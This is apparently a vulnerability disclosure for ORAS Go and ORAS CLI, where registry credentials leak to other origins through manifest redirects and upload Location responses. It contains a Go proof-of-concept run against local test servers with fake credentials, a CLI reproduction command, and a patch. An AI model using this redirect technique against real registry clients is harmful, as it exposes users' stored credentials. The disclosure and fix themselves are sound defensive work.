ORAS Go forwards registry credentials across registry redirects

Summary

# ORAS Go forwards registry credentials across registry redirects Reporter / public credit: JUNYI LIU ## Summary ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects. There are two related paths: 1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin `Authorization` header to the redirect target. 2. A blob upload `POST` authenticates to the origin registry, then the origin returns an upload `Location` on another host or port. The follow-up `PUT` can carry the origin `Authorization` header to the `Location` target. The upload `Location` issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload `Location` fix still forwards Basic credentials on an authenticated manifest redirect. ## Impact A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags. This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact. ## Affected Versions Tested - `oras-go v2.6.0`: affected. - `oras-go` main at commit `a57383e580c8f2c97fb67dedfc5c9945c8c3614e`: affected. - `oras-go` v2 branch at commit `d593d504779be8b69f0ba034ac9fd407d1fc8cfc`: upload `Location` path is blocked, but manifest redirect credential forwarding is still affected. - ORAS CLI at commit `3d2646279c70ba60415440e44c2ff97896e4a209`, using `oras-go v2.6.0`: affected when using `--registry-config`. ## Security Invariant Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload `Location` response. ## Local Reproduction Overview All testing used loopback servers and fake credentials only. Manifest redirect flow: 1. The client requests a manifest from the origin registry. 2. The origin returns `401` with a Basic challenge. 3. The client retries the origin request with the origin credential. 4. The origin returns `307` to another port on the same hostname. 5. The redirect sink receives the origin `Authorization` header. ORAS CLI stored-credential flow: 1. A temporary registry config contains a fake Basic credential for the origin registry only. 2. Run: ```sh oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest ``` 3. The origin authenticates the request and redirects it to another port. 4. The redirect sink receives the origin `Authorization` header. Blob upload `Location` flow: 1. The client starts a blob upload with `POST` to the origin registry. 2. The origin challenges with Basic and then accepts the authenticated `POST`. 3. The origin returns an upload `Location` URL on another port. 4. In affected versions, the follow-up `PUT` to the `Location` target carries the origin `Authorization` header. ## Expected Result Redirect and upload `Location` targets on a different HTTP origin should not receive the origin `Authorization` header. ## Observed Result In affected versions, redirect or `Location` sinks received: ```http Authorization: Basic <base64 origin_user:origin_pass> ``` ## Standalone Reproducer ```go package main import ( "context" "encoding/json" "fmt" "net/http" "net/http/httptest" "os" "sync" "github.com/opencontainers/go-digest" "github.com/oras-project/oras-go/v3/registry/remote" "github.com/oras-project/oras-go/v3/registry/remote/auth" "github.com/oras-project/oras-go/v3/registry/remote/credentials" ) type hit struct { Method string `json:"method"` Path string `json:"path"` Host string `json:"host"` Auth string `json:"auth,omitempty"` } func main() { const username = "origin_user" const password = "origin_pass" const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M=" var mu sync.Mutex var originHits, sinkHits []hit record := func(dst *[]hit, r *http.Request) { mu.Lock() defer mu.Unlock() *dst = append(*dst, hit{ Method: r.Method, Path: r.URL.RequestURI(), Host: r.Host, Auth: r.Header.Get("Authorization"), }) } manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`) manifestDigest := digest.FromBytes(manifest).String() sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { record(&sinkHits, r) if r.Header.Get("Authorization") != expectedAuth { w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`) w.WriteHeader(http.StatusUnauthorized) return } w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json") w.Header().Set("Docker-Content-Digest", manifestDigest) w.Header().Set("Content-Length", fmt.Sprint(len(manifest))) _, _ = w.Write(manifest) })) defer sink.Close() origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { record(&originHits, r) if r.Header.Get("Authorization") != expectedAuth { w.Header().Set("Www-Authenticate", `Basic realm="origin"`) w.WriteHeader(http.StatusUnauthorized) return } http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect) })) defer origin.Close() repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe") if err != nil { panic(err) } repo.PlainHTTP = true repo.Client = &auth.Client{ Client: origin.Client(), CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{ Username: username, Password: password, }), } _, _, err = repo.Manifests().FetchReference(context.Background(), "latest") leaked := false for _, h := range sinkHits { if h.Auth == expectedAuth { leaked = true } } result := map[string]any{ "origin_hits": originHits, "sink_hits": sinkHits, "error": "", "leaked": leaked, } if err != nil { result["error"] = err.Error() } encoded, _ := json.MarshalIndent(result, "", " ") fmt.Println(string(encoded)) if leaked { fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED") return } fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK") os.Exit(1) } ``` ## Candidate Fix The candidate fix does two things: 1. In the auth client, wrap redirect handling so `Authorization` is removed when a redirect changes HTTP origin, while preserving any caller-provided `CheckRedirect` callback. 2. In blob upload completion, only reuse the previous `POST` `Authorization` header when the upload `Location` remains on the same HTTP origin. The patch also adds regression coverage for both redirect cases: - redirect before origin authentication reaches a different origin; - redirect after origin authentication reaches a different origin. ```diff diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go index 35826eb..60c9f88 100644 --- a/registry/remote/auth/client.go +++ b/registry/remote/auth/client.go @@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) { for key, values := range c.Header { req.Header[key] = append(req.Header[key], values...) } - return c.client().Do(req) + client := c.client() + clientCopy := *client + checkRedirect := client.CheckRedirect + clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error { + if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) { + redirectReq.Header.Del(headerAuthorization) + } + if checkRedirect != nil { + return checkRedirect(redirectReq, via) + } + return nil + } + return clientCopy.Do(req) +} + +func sameHTTPOrigin(a, b *url.URL) bool { + return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host) } // credential resolves the credential for the given registry. @@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) { var attemptedKey string cache := c.cache() host := originalReq.Host + if host == "" { + host = originalReq.URL.Host + } scheme, err := cache.GetScheme(ctx, host) if err == nil { switch scheme { @@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) { if resp.StatusCode != http.StatusUnauthorized { return resp, nil } + respHost := resp.Request.Host + if respHost == "" { + respHost = resp.Request.URL.Host + } + if respHost != host { + return resp, nil + } // attempt again with credentials for recognized schemes challenge := resp.Header.Get(headerWWWAuthenticate) diff --git a/registry/remote/repository.go b/registry/remote/repository.go index 74d6b89..0bd20ec 100644 --- a/registry/remote/repository.go +++ b/registry/remote/repository.go @@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte // Push or by Mount when the receiving repository does not implement the // mount endpoint. func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error { + originalURL := req.URL reqHostname := req.URL.Hostname() reqPort := req.URL.Port() // monolithic upload @@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http. q.Set("digest", expected.Digest.String()) req.URL.RawQuery = q.Encode() - // reuse credential from previous POST request - if auth := resp.Request.Header.Get("Authorization"); auth != "" { + // reuse credential from previous POST request only when the upload location + // remains on the same origin. + if auth := resp.Request.Header.Get("Authorization"); auth != "" && sameHTTPOrigin(originalURL, location) { req.Header.Set("Authorization", auth) } resp, err = s.repo.do(req) @@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http. return nil } +func sameHTTPOrigin(a, b *url.URL) bool { + return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host) +} + // Exists returns true if the described content exists. func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) { if err := s.repo.checkPolicy(ctx, ""); err != nil { ``` ## Validation Performed The repaired candidate fix blocked: - manifest redirect credential forwarding; - upload `Location` credential forwarding. Targeted tests passed: ```sh go test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1 go test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1 ``` ## Prior Art / Duplicate Notes Public pull request #1152 fixes credential forwarding via unvalidated blob upload `Location` and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload `Location` scope. Bearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim. ## Claim Boundaries Proven: - Origin registry Basic credentials can reach a different redirect or upload `Location` origin in local loopback tests. - ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow. - The candidate fix blocks the tested redirect and upload `Location` credential exposures. Not claimed: - Live third-party exploitation. - RCE, host compromise, or registry compromise. - Arbitrary-host exposure beyond the tested redirect/`Location` origin transitions. - Bearer realm behavior as part of the same claim.